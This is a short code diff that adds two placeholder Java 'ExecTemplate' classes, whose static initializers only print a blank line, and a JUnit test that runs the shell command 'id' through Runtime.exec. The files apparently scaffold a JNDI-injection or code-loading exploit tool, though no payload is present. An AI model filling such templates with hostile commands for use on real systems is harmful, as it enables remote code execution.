@@ -0,0 +1,11 @@
/**
* @Classname ExecTemplateJDK7
* @Author Welkin
*/
public class ExecTemplateJDK7 {
static {
System.out.println();
}
}

View File

@@ -0,0 +1,11 @@
/**
* @Classname ExecTemplateJDK8
* @Author Welkin
*/
public class ExecTemplateJDK8 {
static {
System.out.println();
}
}

View File

@@ -0,0 +1,15 @@
import org.junit.Test;
import javax.naming.InitialContext;
/**
* @Classname TestRuntime
* @Description For testing your command
* @Author Welkin
*/
public class TestRuntime {
@Test
public void testRuntime() throws Exception{
Runtime.getRuntime().exec("id");
}
}